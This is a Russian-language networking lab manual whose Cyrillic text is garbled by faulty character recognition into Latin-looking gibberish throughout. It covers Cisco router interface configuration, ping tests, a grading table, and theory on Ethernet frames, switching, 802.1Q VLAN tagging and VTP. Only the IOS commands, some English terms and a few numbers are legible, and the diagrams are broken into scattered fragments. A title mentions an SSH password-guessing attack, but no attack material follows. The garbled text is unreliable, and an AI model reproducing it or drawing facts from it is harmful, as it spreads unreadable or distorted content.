Ilar 1: Hacrpoiika unrepgeiica GigabitEthernet 0/0 na mapmpyTu3sarope R1.

a. BemosaauTe ciaemyronme komaH sl U BKitounte uarepdeiic GigabitEthernet 0/0 na
mapupyruzarope R1:

R1(config)# interface gigabitethernet 0/0

R1(config-if)# ip address 192.168.10.1 255.255.255.0

R1(config-if)# no shutdown

%LINK-5-CHANGED: Interface GigabitEthernet0/0, changed state to up
%LINEPROTO-5-UPDOWN: Line protocol on Interface GigabitEthernet0/0, changed state to up

b. PexomeHnyercs yka3zaTh ONHCaHUE IS KQXK/I0T0 MHTEpdeiica, YTO TOMOXKET NpU
JIOKYMEHTHPOBaHUM cBeieHnH o cetu. Hactpoiite onucanue uatepdeiica, ykasas, K
KAKOMY YCTPOWCTBY OH MOJKJIFOYEH.

R1(config-if)# description LAN connection to S1
c. R1 should now be able to ping PC1.
R1(config-if)#end
%SYS-5-CONFIG_I: Configured from console by console R1# ping
192.168.10.10

Type escape sequence to abort.
Sending 5, 100-byte ICMP Echos to 192.168.10.10, timeout is 2 seconds:

Success rate is 80 percent (4/5), round-trip min/avg/max = 0/2/8 ms

Hlar 2: Hacrpoiika octanabubix nHTepQeiicoB Gigabit Ethernet na mapmpyrusaropax R1 n R2.

a. Hcnonw3ys nanneie u3 Addressing Table, 3aBepmute HacTpoiiky nntepdericoB Ha R1 u R2,
Jnst kaxaoro uHTEpdeiica BBIMOTHUTE CIEAYIONNE ICHCTBUA.

1) Bsenure IP-aapec u aktuBupyiite nHTEpdEic.
2) BBaeauTe COOTBETCTBYIOLIEE OMUCAHUE.

b. IIpoBepbTe KOHPUTyparuu HHTEPDENHCOB.



lar 3: Cneanaiite pe3epBHy10 konuio konpurypauuii B NVRAM.

Coxpanute daitnpl KoHbUrypanun Ha o6oux mapuipyruzaropax B NVRAM. Kakyro komaHy Bbl
MCIOJIb30BAIH?

Yacrp 3: IIpoBepka kondurypauun

Ilar 1: IIpoBepbTe KOHGUTypauuu MHTEP(eiicoB ¢ MOMOIIHI0 COOTBETCTBYOIIMX KOMAH/I.

a. Bemoaaure komanay show ip interface brief na mapmpyrusaropax R1 u R2, uto6sI
OBICTPO YOCIUTHCS, UTO HHTEPEHCHI UMEIOT TpaBWIIbHBIC [P-aspeca u aKTHBHBI.

CkoJbKo HHTEp(ECOB HACTPOCHO Ha MapinpyTu3aTopax R1 u R2 u umeroT aktuBHOE cocTosiHue (Up)?

Kakas yacts koHpurypauuu unrepgerica HE otoOpakaeTcsi B BBIXOIHBIX JaHHBIX KOMaHIbI?

C IIOMOIIIBIO KAKUX KOMaHA MOXXHO ITPOBEPUTH 3Ty 4aCTh KOH(i)I/IpraL[I/II/I?

b. BsimonauTe KOMaHy ShOw ip route na mapuipyruzaropax R1 u R2, uTo0sr
MIPOCMOTPETH TEKYITUE TAOIHIIBI MAPIIPYTH3AIUHU, H OTBETHTE HA CIICTYIOIINE
BOTIPOCHI.

1) CKOJBKO MOAKIOYEHHBIX MapIIPyTOB (MMEIOT Ko C) MOKa3aHo Ha KaXI0M
Mapuipyrusarope?

2) Ckoubko mMapiipyroB EIGRP (umerot ko D) mokazaHo Ha KakK0M MapIipyTu3arope?

3) Ecnu mapmpyTu3aTop COAEpKHT JaHHBIE 000 BCEX MapIIPyTax B CETH, TOTA
KOJIMYECTBO MPSIMBIX MapIIPYTOB M JMHAMHUYCCKH MOTydeHHbIX MapiipytoB (EIGRP)
JOJDKHO =~~~ =~ 00IIeMy KOJIMYECTBY JOKAJIbHBIX U TI00abHBIX ceTeld. CKOIBKO

JIOKAJIbHbIX 1 110VATBHBIX CETEN €CTh
B TOIIOJIOTUU?

4) CoOTBETCTBYET JIH 3TO YHCIIO KonudecTBy MapiipyToB C u D, mokazaHHBIX
B Ta0JIHIIEe MapIIPyTHU3AIIIN?

IIpumeuanue. Ecnu Bbl oTBeTHIM «HeTy», 3HAaUUT, BB HACTPOMIIM HE BCe napameTpsl. [lepecmotpute maru B
qacTu 2.

Hlar 2: IIpoBepka CKBO3HOI0 MOAKJIIOYEHUS Yepes CeTh.

Tenepp BbI JOKHBI OBITH B COCTOSIHUU OTIIPaBUTh 3X0-3arpoc Ha Jito0oii [1K ¢ moboro I1K B cetn.
Kpowme Toro, Bl JOTKHBI ObITH B COCTOSIHUM OTIIPABJISITH 3X0-3alIPOChl HA aKTUBHbIE UHTEP(ENCHI
MapupyTu3aTopoB. Hanpumep, cnenyromue TeCTbl JOHKHBI YCIEIIHO BBIITOTHUTHCS.

e B rxomangnoii crpoke Ha komnbrorepe [IK1 ornpaBeTe 9x0-3anpoc Ha [1K4.

e B xomangHo# cTpoke Ha Mapuipytuzatope R2 otnpasbTe 5x0-3anpoc Ha [1K2.

IIpumeyanue. [[J11 MpOCTOTHI KOMMYTATOPBI B ’TOM YIPa>KHEHUHU HE HACTPOEHBI. BBl HE cMOXkeTe
OTIPABUTH HA HUX 3X0-3aIPOCHI.

IIpeasaraemsiii cnocod nmoacyéra 6a/1J10B

Pacnosioskenne Bo3moxubie [IlonydyeHHblie

Pazies 3ananmii BOIIPOCOB GaLIbI Ga/LIbI
Yacte 1. OTOOpaxkenue Hlar 1a 2

CBEJICHUU O Ilar 1b >

MapIIpyTH3aToOpe

lar 1c 4




lar 1d 6
lar 2a 2
[ar 2b 6
Hlar 3a 2
[Iar 3b 6
Yacts 1. Beero 30
Yacts 2. Hactpoiika
uHTepdeiicoB Hlar 3 2
MapIIpyTH3aTropa
Yacts 2. Beero
Yacts 3. [IpoBepka [ar l1a
KOH(UTypaIiu Iar 1b )
Yacts 3. Beero 14
Onenka Packet Tracer 54
O01ee konuecTBO 6a/110B (¢ 6oHycom) (100

Bompocsr:
1. Kakue HacTpOHKH HEOOXOMMO BBITOJHUTH MPU TOIKITFOUESHIH MapIIPyTU3aTOpa K KOMMYTaTOpy?
2. Kax nasznauuts IP anpec Ha mHTEpQEIHCH MapIIpyTU3aTOpa U KOMMyTaTopa?
3. Kak npoBepuTh NpaBUIBHOCTH MOJIKIOYCHUS MapIIpyTH3aTopa B cumyssrope Packet Tracer?
4. Kak HacTpOUTh MApIIPYTH3AIUIO MEXKTy Pa3HBIMH CETEBEIMH CETMEHTAMH Yepe3 MapIIpyTH3aTop?
5. Kakwue nonosHUTeIbHbIE HACTPOMKH 0€30MaCHOCTH MOKHO BBITIOJTHUTH HA MOIKIIOYCHHOM
MapuipyTu3arope?

OOpa3zer 3a1aHuii TSl BBITTOJTHEHHS Ta00paTOPHBIX padOT M MPUMEPHBIH MEPEeYeHb BOTIPOCOB IS X 3aIUTHI
«Jlabopatopnas pabora Ne 9. Opranuzanus u Hactpoiika VLAN: — cozganue u Hactpoiika VLAN Ha
KOMMYyTaTopax; — I0CTyI K obopynoBanuto CisCO no nmpotokosny SSH; — ataka MeToioMm niepebopa mapoJisi Ha
ciyx0y SSH»

JlaGopaTopHas padora Ne 9.1
Cosnanne n Hacrpoiika VLAN Ha komMmyTaTropax.

Llenv pabomwvi: HayduTbCs co3daBaTh M HacTpamBaThb VLAN Ha KoMMyTatopax Mg HW3OJSIIHH
[IMPOKOBEIIATETLHOTO TpapuKa.

Kparkue Teopernyeckue cBeIeHUs

CKC CrpykrypupoBaHHas KabelbHas CUCTEMa COCTaBIIsAET (PyHJaMEHT 000N KOMIIBIOTEPHOW CeTH U
npescTaBiIsieT co0oil Habop KOMMYHUKAIIMOHHBIX 3JIEMEHTOB (Kalenel, pa3beMoB, KPOCCOBBIX IaHeIed u
mKa(oB, KOHHEKTOPOB), KOTOPhIE YIOBJIETBOPSIOT CTaHAAPTaM JIOKAJIbHBIX CETeH W TMO3BOJSIOT CO3/1aBaTh
peryisipHble, JIETKO pacUIMpseMble CTPYKTYpbl CeTei MyTeM J00aBJIeHHS CETMEHTOB, KOMMYTAaTOPOB WU
U3BATHS HEHY)KHOTO 000PY/10BaHHUSL.

IIupoxoBemaTe/IbHbIN J0MeH — 00J1acTh CETH, B KOTOPOIl MPOUCXOIUT OOMEH IINPOKOBENIATEIbHBIMU
COOOIIEHUAMH, M YCTPOMCTBAa MOTYT OTIPABIATH APYT APYry COOOIIEHHUS HEMOCPEACTBEHHO, 0€3 y4acTHus
Mapuipytu3aropa. Hanpumep, mocian Bai KOMIIBIOTEP IIMPOKOBENIATEIBHBIN 3a1poc B ceTh B monckax DHCP-
cepBepa. Kaodp stot aapecoBaH BceMm ycTpoiictBam u umeeT MAC-anpec momyuarens FF:FF:FF:FF:FF:FF.
Chavana OH IomajaeT Ha KOMMYTAaTop, ¢ KOTOPOro €ro KOIHWH PacChUIatoTcs Ha Bce NopThl. [loTom wacTte
MONAaJAacT Ha JAPYTME KOMIIBIOTEPBI, 4YacThb YXOIAT B COCEIHHE KOMMYTATOpbI, KTO-TO JOXOJUT 1O
MaplIpyTH3aTopa, 1 B KoHue kaap npuaumaer DHCP-cepBep. YuacTok ceTtu, BHYTpH KOTOPOTO MepeaaroTcst
9T KaJpbl HA3bIBACTCS IIMPOKOBEIIATEIbHBIM JIOMEHOM.

Ectb Tpu cnioco0a pa3rpaHUUUTh MIMPOKOBEIIATENIbHbBIE IOMEHBI:

1) Mcnonp30BaTh MapIpyTHU3aTOP U Pa3IeIUTh XOCThl HAa Pa3HbIE MOJCETH.



2) Paznenuth ceTh BUPTYaIbHBIMH JIOKaJIbHBIMU ceTssiMu (VLAN).

3) PazopBatb coenuHeHue Gpuznuecku (Kadens).

Moaeans OSI roBopuT 0 7 ypoBHSIX C€T€BOW OpraHu3ariy. J[Ba HIKHUX: MePBbIA — (PU3MUYECKHIT — 9TO
npezcTaBiIeHne NHPOPMALIMU B BUJI€ CUTHAJIOB — OMTOB. 3a/1a4a 3TOr0 ypoBHS C(HOPMUPOBATH IINEKTPHUUECKUI
CUTHAJI, TIepeaaTh €ro B CPey M MPUHSITH €ro. ITo nepBbliid ypoBeHb Moaenu OSI u crexa TCP/IP.

BTtopoii — kanaabHbIiH. Ha 3TOM ypoBHE paboTaroT KOMMYTaTOphl. UneHTH(hUKATOp YCTPOHCTBA 371eCh —
MAC-azgpec. ¥V kaxaoro ysia (KOMIBIOTEP, MapIIpyTH3aTOp, HOYTOYK, IP-Tenedon, aro6oit Wi-Fi-kimneHT)
€CTb 3TOT YHUKAJIbHBIN aJpec, KOTOPbIN OJTHO3HAYHO OIPEAEISAET YCTPOICTBO B JIOKaNbHOM ceTh. [lo-npyromy
Ha3bIBaeTcs pusnueckum agpecom. B reopun MAC-aapeca He JOKHBI TOBTOPSITHCS BOOOIIE, HO Ha TPAKTHKE
TaKO€ CIy4aeTcs M B PaMKax OJHOTO HIMPOKOBEIIATEIHHOTO JOMEHAa MOXKET NPUBOAUTH K IMpobdiemam,
TpeOyIOIIKUM pa3pelieHusl.

JlaHHBIE HAa ATOM, KaHAJILHOM, YPOBHE NIEPEAAI0TCS KaApaMHt, KaKIbIi U3 KOTOPbIX Ha3biBaeTcs Ethernet-
dpeiim (oH xe Ethernet-xanp, on e PDU kananpHOTO YpOBHS).

Ethernet-wanp
—
8 GaiAaT 6 GaiTr | 6 64T 2 BaiTa 46-1500 GanT 4 GanTa
NoeanGvna MAC-aapecl MAC- CS{Frame Chec
P ¥ nouy- aapec Tun{onuHal SMNAP/LLC M OaHHbIe equence)-
arensns MCTOYHM KA OHTPONADL Cy MA b

Pucynok 1- Ctpykrypa Ethernet-kampa

Kaznp cocTouT U3 cinenyromux yacreii:

1) Mpeam6yna. [Tone, ucronb3yemMoe Ui yKa3aHus Hadana kajapa. To ecTh, 4TOOBI IPUEMHHUK CMOT
HOHSATB, I/I€ HauaJlo HOBOTO KaJpa.

2) MAC-aapec nmoaxyuarens. [1one, Kyia 3anuchIBacTCs aJipec MoJIydaTes.

3) MAC-aapec ornpaBuTesi. COOTBETCTBEHHO CHOJIA 3aIIHCHIBACTCS A/IPEC OTIHPABHUTEIIS.

4) Tun (nImHAa). YKa3bIBaeT JUIMHY OJIS JaHHBIX, KOTOpPOe Bapbupyercs ot 46-1500 Gaiir.

5) MMoe SNAP/LLC + nannble. Kak pa3 SNAP/LLC yka3biBaeT, KAKOMY BBIIIECTOSIIEMY TPOTOKOIY
nepenath kKajap. 9to Moxer Obith [P, IPX u apyrue mpotokosbl ceTeBOro ypoBHs. Takke B 3TOM IIOJE
COJIepKATCs IaHHBIE, TOJIyYE€HHbIE C BBICIIMX YPOBHEH.

6) FCS (ot anra. Frame Check Sequence — koHTpoJbHasi cyMMa Kaapa). [loie, B KoTOopom
[OJICUNTaHa KOHTPOJIbHAS CyMMa.

Onpenesienue, Ha3HAYeHUE U IPUHIUI Pad0Thl KOMMYTaTOpa

CereBoil kommyTaTop Ui (OT aHri. switch — nepexirovarenb) — yCTpONCTBO, MPeIHAa3HAUEHHOE IS
COEJMHEHUS] HECKOJIbKMX Y3JI0B KOMIIBIOTEPHOM ceTH B IHpeAensax OJHOro cerMeHta. B oriauume oT
KOHIIGHTpaTopa, KOTOPBIA pacrpocTpaHser TpaduK OT OJHOTO TOIKIIOYEHHOTO YCTPOWCTBA KO BCEM
OCTaJIbHBIM, KOMMYTATOp MepelaéT AJaHHbIE TOJbKO HEMOCPEACTBEHHO MOJIyYaTelto, HCKIIOUEHHE COCTABISAET
HMIMPOKOBEIIATENbHBIA TpauK BCEM y3JIaM CETH. DTO MOBBIIIAET POU3BOIUTEIHLHOCTh U OE30MTaCHOCTH CETH,
n30aBJIsis OCTAJIbHBIE CETMEHTHI CETH OT HEOOXOIUMOCTH (M BO3MOXHOCTH) 00pabaThIBaTh JaHHBIE, KOTOPHIE
UM HE TIpeHa3HAYaIHCh.

KommyTaTtop XpaHUT B MaMsATH TaOJUIly KOMMYTallMd, B KOTOpO#l yka3biBaeTcsi cooTBeTcTBUe MAC-
ajipeca y3Ja rnopty kommyraropa. [Ipu BKIrOUeHHH KOMMyTaTOpa 3Ta TalJIMIIa ITyCTa, U OH paboTaeT B pekuMe
o0yuyeHus. B 3ToM pexxume mocTymnaromnme Ha Kakoi-JIn0o MOopT JaHHbIE MepeIatoTCs Ha BCE OCTAJIbHbBIE OPTHI
kommyTaropa. [Ipu 3ToM KoMMyTaTtop aHanM3MpyeT Kaapel u, onpeaenuB MAC-aapec XocTa-OTIPaBUTEINS,
3aHOCUT ero B Tabmumy. BnocmenctBum, ecim Ha OJUH M3 TOPTOB KOMMYTaTOpa IOCTYNMT Kajp,
npeaHa3HavYeHHBIHN 1 xocTa, MAC-aipec KOTOpOTO y»Ke €CTh B TAOIHIIE, TO 3TOT Kap OyJeT nmepeiaH TOIbKO
yepe3 NopT, ykaszaHHbli B Tabmuue. Eciu MAC-anpec xocra-momyyatens emé He U3BECTEeH, TO Kajap Oyner
npoayonupoBaH Ha Bce uHTepdernchl. Co BpeMeHeM KOMMYTAaTOp CTPOUT TOJHYIO TAONHITy JIJIT BCEX CBOMX
HOPTOB, U B pe3yNbTaTe Tpa(uK JOKATU3yeTCs.




[Ipocneaum nmyTh Kagpa.

Jliis aTOTO BBIMTONHSAEM KOMaHay ping Ha |IP aapec, Hanpumep 192.168.1.118. BBoaum komanay ping B
KOMaHJHOH CTPOKE KOMIIBIOTEPA.

3a sto otBewaer mpotokosn ICMP. B Hero mHkancymupyercss wHGOpMAIUs OT MPUIOKEHHUS — ITO
03HAYAET, YTO K IAaHHBIM 5-TO YPOBHS JJOOABJISETCS 3ar0JIOBOK CO Cy»)eOHOl nHpopMmarueit 4-ro yposss. Ero
JaHHBIC YIMAKOBBIBAIOTCS (MHKANCyIupyroTcsi) B IP-makersl, rae B 3aronoBke ykazan IP-aapec momywatens
(192.168.1.118) u IP-agpec oTmpaBuTes — TOTUYECKHE aJIpeca.

A 3atem Bcé€ aTo nnkancynmupyercs B Ethernet-kagpst ¢ MAC-agpecamu OTIipaBUTENS U MOTyYaTems —
(bu3n4YecKuMu asipecamMi.

[Tpu dhopmupoBanuu kagpoB B 3arosioBke B kauectBe MAC-anpeca UCTOUHMKA (Source) MoACTaBseTCs
aJjpec BalIiero KOMIbIOTEpa, a aapecoMm moxydarens (destinantion) Oymer MAC-aapec kommbioTepa —
Biazenbia IP-agpeca 192.168.1.118 (3meck Ha moaHyro padortaet mpotokosn ARP).

Ha ¢usnyeckom ypoBHE ceTeBoil amantep HHPOPMAIUIO Kaapa B BUJe OUTOB (3aKOAMPOBAHHBIX OAHUM
U3 BUJOB KOAMPOBaHMs) mepenaér B JIMHUIO CBs3H. KomMmyTaTop M3 MOCTYNUBLIMX OWUTOB coOHMpaeT
IIEPBOHAYAIILHBIN KaJIp.

Janee u3 3arojoBka U3BIEKaeTCs aApec Moiydarens, nepecmarpuBaercs tabnuuna MAC-aapecoB Ha
IpeIMET COBMAICHHS M, KaK TOJIbKO OHOE HalJICHO, Kaap 0e3 N3MEHEHHIA OTIPABIISIETCS B YKa3aHHBIN B TA0IHIIE
nopt. Ecnm ke aapeca moka eni€ HeT WM KaJp MPUIIEN IMIHUPOKOBEIIATENbHBIN, TO OH HAlpaBIsIeTCs HA BCE
HOPTHI, KPOME TOTO, OTKya npuién. Ecnu agpeca oTnpaBuTens B TaOJIUIE 10 CUX MOP HE OBUIO, TO B ATOT
MOMEHT KOMMYTaTop A00aBuT ero. Kaap onare nepenaéres B Buae (GU3HMUECKUX CUTHAIOB B JTMHHIO CBSI3U.

XOCTHI MOTYYUB MMOTOK OUTOB, cOOMparo U3 HUX Kajp. Jlanee on cpaBuuBaeT MAC-anpec noiydarens co
CBOHMM U, €CITH OHU COBIIAJAIOT, TO 3ar0JIOBOK BTOPOrO ypoBHs oTOpackiBaercs, a IP-ganHble nmepeaaroTcs Ha
00paboTKy BBIIIECTOSAIIEMY IPOTOKOITY. ECiin afpeca He COBMagaroT, TO KaJp OTOPackIBaETCs BMECTE CO BCEM
COJICP>KUMBIM.

Hanee cpaBuuBarorcs [P-aapec momywarens m 3toro ycrporcrBa. Eciu COBIAmarT, TO 3arojioBOK
CETEeBOTr0 YPOBHs OTOpachIBaeTCs, U JaHHBIE IIEpeIatoTcsl TpaHcnopTHoMy ypoBHio (ICMP).

Koneunsiii xoct obpaboran ICMP-3anpoc (echo-request) u roros mocinate ICMP-otet (echo-reply)
BallleMy KOMIIbIOTEPY ¢ aapecom 192.168.1.131 u nanee myHKThI MHKAIICYJILAN [10 YPOBHSAM ITOBTOPSIOTCS YXKE
JUTSI HOBOTO KaJIpa.

BupryanbHbie JokajabHabie ceTn VLAN

Bupryauashoii cersio (Virtual LAN, VLAN) Ha3pIBaeTcs JJorudeckasi rpynna y3JjioB ceTH, Tpapuk
KOTOPO#, B TOM 4YHCJ¢ U INHPOKOBCIIATEJbHbIN, HA KAaHAJBLHOM YPOBHE NMOJHOCTHIO M30JIMPOBAH OT
APYTUX Y3J10B ceTHM. DTO O3HayaeT, 4To Mepefada KaJpoB MEXKAY pa3HbIMH BUPTYAJIbHBIMH CETSIMHM Ha
ocHoBanun MAC-anpeca HEBO3MOXHA, HE3aBHUCHUMO OT THIA ajpeca - YHUKAJIbHOI'O, I'PYNIOBOIO WU
HIMPOKOBEIATENbHOr0. B TO ke BpeMsi BHYTPH BUPTYAJIbHOH CETH KaJpbl MEpeAaroTcsl MO TEXHOJOTUU
KOMMYTalllH, TO €CTh TOJIBKO Ha TOT IIOPT, KOTOPBIN CBSI3aH C apecOM Ha3HA4YEHHUs KaJpa.

Takum o00pazomM, C TIOMOIIbIO BHPTYaJbHBIX Ce€Tel pemaercss mpodieMa pacHpoCTpaHEHUs
IIMPOKOBEINATENbHBIX AKETOB M BBI3BIBAEMBIX HMH  CIEJCTBHI, KOTOpPBIE MOTYT pa3BUTbCS B
HIMPOKOBEIIATEIbHBIE IITOPMBI M CYILIECTBEHHO CHU3UTH MPOU3BOIUTENBHOCTh CETH.

VLAN Ha 0a3e meTok - cranaapt 802.1q

Hanomuum, uyto VLAN’el HyXHBI ana paszaeneHus cereil. COOTBETCTBEHHO NOSBISETCS HEKUH
uaeHTU(UKATOp,  KOTOPBIM  MapKupyercs  Tpaduk  pa3HBIX  TOJACETe  Ha  KOMMYyTaTope.
I'oBopst 0 VLAN’ax, gacto ucnons3ytor cranaapT 802.1q. OTo u ecTb cTaHIapT, ONMCHIBAIOIINN KaK MMEHHO
KaJIp MapKUpPYeTCsl/TErupyercs.

UTO %€ UMEHHO MPOUCXOIUT MPU KOMMYTALMU?

Baytps kampa mocne MAC-agpeca oTmpaButensi A00aBiseTcs emié OJHO TMojie, OYeHb Tpydo TOBOpA,
conepxkaniee Homep VLAN’a. Jlnuna, Beinenennas aias Homepa VLAN’a, paBua 12 6utam, 5T0 03HA4YaeT, 4TO
MakcumaiibHoe urcio VLAN’oB 4096 (2 B crenenu 12).

IlepBrie 2 Gaiita ¢ pukcupoBaHHbIM 3HaueHHEeM 0x8100 onpenensioT, 4To KaJap COAEPKHUT TET MPOTOKOIA

802.1/802.1p.


http://ru.wikipedia.org/wiki/ICMP

OcranpHbIe 2 OaiiTa coaepkar CIeAyIyo HHPOPMAIIHIO:

- 3 6urta mpuopuTeTa Nepeaayn KoIupyroT 10 BOCBMU ypOBHEH npuoputera pasHoro tpadpduka (ot 0 1o
7, e 7 - HAMBBICIIUNA TPUOPUTET);

- 1 6ur Canonical Format Indicator (CFI), koTopsiii 3ape3epBupoBaH s 0003HAUEHUS KAaapOB ceTel
npyrux tunos (Token Ring, FDDI), mepenaBaempix mo maructpanu Ethernet;

- 12-tu 6utHeli uaentudukarop VLAN, onpenenstommii, kakoit VLAN npuHaniexxut tpaduk.

Ethernet-kaap |
8 Gaiit | 6 6aiit | 6 Gaiir | 2 6avita 46-1500 Gaidt 4 Gaiita |

CS({Frame Chec
Tun{anuHa) SNAP/LLC ¥ gaHHme equence)-
OHTPO/E CYMMB

MAC-agpec] MAC-
nony- agpec
arens HCTOYHHKE

Npeambyna

Kanp 802.1Q
8 OaiiT 6 OaiT 6 0aiit |4 Gaiita | 2 Gaiita | 46-1500 Gaiir |4 Gaiita
]Ipeahlﬁ“—.':la ’I_A.C—ﬂ,':[pec I\"I_AC—a,E[pEC Ter THn SNAPLLCH FCS
Mo Ty1aTe 151 JOTIPaBH- (Jd1HHA) TaHHBIE
Te 14
2 DaliTa 3 OoHTa 1 ouT 12 ouT
TPID (Tag PCP (Priority CFI [Cauon_ical VID (VLAN ID)
Protocol ID) | Cod Point) Format Indicator)

Pucynok 3- CpaBHeHHEe 0OBIYHOTO KaJpa U TETUPOBAHHOTO

OOpaTuTe BHUMaHUE Ha TO, YTO TETMPOBAHHUE KAJAPOB OCYILECTBISETCS MEX/Yy CETEBBIMU YCTPOMCTBAMU
(KOMMYTaTOpBbI, MapIIPYTU3aTOPBl U T.[.), @ MEXKAY KOHEUHBIM Y3JIOM (KOMIBIOTEp, HOYTOYK) M CETEBBIM
YCTPOMCTBOM KaJippl He Terupyrrcs. [loaToMy MOpPT CETeBOro ycTpoilcTBa MOXKET HAXOAWUThCA B 2-X
COCTOSIHHSIX: acCess mim trunk.

e Access port WM MOPT AOCTYNAa — MOPT, Haxonsmuica B onpeneneHHoM VLAN u nepenaromuii
HETETUPOBAaHHbIE Kaaphl. Kak nmpaBuio, 3To NopT, CMOTPAILLMI Ha I0JIb30BATEIBCKOE YCTPONCTBO.

e Trunk port uim MmarucTpajabHbIi OPT — MOPT, NIepeaOLIUi TerupoBaHHblil Tpaduk. Kak npasuo,
9TOT MOPT YCTAaHABIMBAECTCSI MEXKAY CETEBBIMU YCTPOUCTBAMH.

CymecTByIOT 1Ba OCHOBHBIX MOoHATHS 17 Xapaktepuctuku [EEE 802.1q VLAN:

¢ VLAN-uznentudukarop nopta - Port VLAN ID (PVID);
e Homep VLAN ID (VID).

PVID omnpenensar, B kakyro VLAN koMMyTaTop HalipaBUT HEMapKUPOBAaHHBINA MAKET C MOAKIOYEHHOTO K
nopty cermeHTa. C Ipyroil CTOpOHBI, MOJIb30BATEIb MOKET ONPENEIUTh MOPT, KaK BXOASIIUN B HECKOJBKO
VLAN, mo3BoJisisi CerMEHTY, MOJKIIOYEHHOMY K JaHHOMY HOPTY HNPHUHUMAaTh MapKUPOBaHHbIE MAKEThl OT
Heckosbkux VLAN B cetu. B aToM ciydae, ans ganpHeinieir o0paboTku nmakera ucnoib3yercs none VID B
kanpe Ethernet, ompenensromee, B kakyto VLAN Oyner oTnpasiieH 3TOT makeT. Takum oOpa3om, 3TH JBa
napaMerpa KOHTPOJUPYIOT CIIOCOOHOCTh MOpTa MPUHUMATh U nepeaaBatb VLAN- Tpapuk U pa3ianuus Mexay
HUMH 00€CIIeYHBaIOT CErMEHTAIMIO CETH C OJIHOBPEMEHHBIM COXPAaHEHHEM BO3MOXKHOCTH MOJIYy4aTh JOCTYI K
001MM ceTeBbIM pecypcaM u3 paznuuHbix VLAN.

Tagging (MapkupoBka makera) — mpoluecc no0aBieHus HHPOPMAUMKH O MpuHaIexKHoCcTH K 802.1q
VLAN B 3aronoBok kazapa. [TopTel, Ha KOTOPBIX BKJIIOYEHA MApKUPOBKA ITAaKETOB, MOTYT J100aBIIAThH B 3ar0JIOBKU
BCEX IepenaBaeMbIX nakeToB Homep VID, undopmaruio o npuopurere u np. Ecin maker npuxoaut Ha mopt
y’K€ MapKUpPOBaHHBIM, TO JaHHBIN MMAKET HE U3MEHSETCS U TaKUM 00pa3oM IMpPH MEPECHUIKE COXPAHSIETCS BCS
uHpopmanus o VLAN. MapkupoBka MakeToB B OCHOBHOM HPUMEHSIETCS AJIS MEPECHUIKH MAKETOB MEXKIY
yCcTporcTBaMu, nojaepxxuparomumu ctanaapt 802.1q VLAN.

Jlns mpumepa paccMoTpuM cutyaruto (Puc. 4):

Ha Bxone:

e Bxopsmuii Ha TOopT 4 HEMapKUpPOBaHHBIN NakeT npeaHazHadyeH it VLAN 2 noromy, 4To B MakeTe
ecTh Mapkep npunaaiexxsoctu (PVID=2);



[Topt 5 mapkupoBan kak Berxoasamuii aist VLAN 2;
[Topt 7 He mapkupoBaH Kak Berxoasammii st VLAN 2;
[TakeTsl ¢ MapkepoOM IEPEHANPABIIAIOTCS HA IIOPT J;
[TakeTs1 O6e3 Mapkepa nepeHanpaBsSIOTCS Ha TOPT 7.

@ [Port 1] [Port2] [Port 3] | Tagged member
of VLAN 2

Untagged packet
CRC | Data | SA | DA é 802.1Q Switch

Before [Port 8] |Port7] |Port 8]

[ Untagged member
of VLAN 2

Pucynok 4- HemapkupoBaHHbBIA BXOJAIINN MaKET

Ha BeIxoge:
e Jlopr 7 - HEeMapKUPOBaHHBIN MTAKET HE U3MEHEH, T.K. BBIXOAUT 4€pE3 HEMapKUPOBAaHHBIN MTOPT;
e [lopr 5 - HeMapKMpPOBaHHBIN NIAKET MAPKUPYETCS, T.K. OH BBIXOJUT YEPE3 MAPKUPOBAHHBIN MOPT;
e VID cBszan ¢ PVID Bxopmsiero nopra.

0 = Tagged mamber
W-D-Z’\ [Port 1] [Port2] [Port 3] /o!%gANZ
- O /—\
5 802.1Q Switch 5| [cre” oaﬁ Tag | A\ DA [:>
I Port 6] myt -,J Ip“' 8J (*Recalculated)
=Nl
Untagged memeber CRC 8100 |Priority | CF§| VID=2
of VLAN 2
| 18 bits | 3bits |1 bitpl 12 bits |
Data
After
Outgoing SA
untagged packet | o, Key
(unchanged)

Priorty - User_priority
CFl - Canonical format indicator
VvID - VLAN identifier

ISASUIA

Pucynok 5 - HemapkupoBaHHBINM BXOAAIINMI TAKET

Untagging (CusitTue Mapkepa makera) — mporecc uszBiedeHus napopmanuu 802.1q VLAN u3
3arojoBka makeTa. IlopTbl, Ha KOTOPBIX BKIIOYEHA JaHHAas (QYHKIMSA, H3BJIEKAIOT Bce WH(POpPMAIUIO,
kacatoiryrocsi VLAN u3 3aroioBkoB, Kak BXOJSIIUX, TaK U UCXOAAIIUX ITAKETOB, MPOXOIALINX Yepe3 JaHHbII
nopt. Ecnu ke maker He comepkuT Tor VLAN, To moprt He u3MmeHser Takoil maker. JlanHas (yHKIus
KOMMYTaTOpa IPUMEHSETCA MPHU NIEpeiade NakeTOB OT KOMMYTaTOPOB, MoAAepxkuBaromux cranaapt 802.1q Ha
YCTPOMCTBA, HE MOAECPKUBAIOLINE 3TOT CTAHAAPT.

Iporokoa VTP

Cisco paspaborana mpotokon VTP (VLAN Trunk Protocol — mpoTOKON MarucTpaiabHBIX CBS3eit
BUPTYaJIbHBIX JIOKANbHBIX ceTel) Muisl ynpasieHusi koHpurypauueir VLAN B mpepenax oObeIMHEHHOMN
KOMMYTHUPYEMOU CETH U MOAAEPKKHA COTJIACOBAHHOCTHU 1O BCEM 3TOU ceTu. VTP mo3Bonser anMuHUCTpaTopy
n00aByATh, yHANATh U 1epeuMeHoBbiBaTh VLAN, mnpuueMm ympaBieHHE pacHpoCTpaHseTcs Ha Bce
KOMMYTaTOPbI CETH.



Uto6s1 nmpoTtokosr VTP cmor ynpasnare VLAN Bo Bceli ceTH, HY)KHO NMPEIBAPUTEIHHO BBIJICIUTH OIUH
KoMMmyTaTop Kak cepBep VTP. Bce cepBepbl, COBMECTHO HCHOJb3yromme uHpopMaiuioo o ceTsix VLAN,
00s13aHbl UMETh OJMHAKOBOE JIOMEHHOE HMs, a KOMMYTaTOp MOXXET OJHOBPEMEHHO OBITh YJIEHOM TOJBKO
onHoro jaomeHa. CremoBaTenbHO, KOMMYTATOp CIIOCOOEH HCMOJb30BaTh oOmmii gomeH VTP Tombko ¢
KOMMYTaTOpaMH, HaCTPOEHHBIMH Ha TOT ke camblii gjoMeH VTP. lomen VTP HeoOxomum, korga K ceTu
MOJIKJIFOUEHO HECKOJIBKO KOMMYTAaTopoB. Eciin Bce KOMMyTaTopbl CETH NMpUHAAIEKAT TOJbKO o1HOM VLAN,
npoTokoa VTP He HyxkeH.

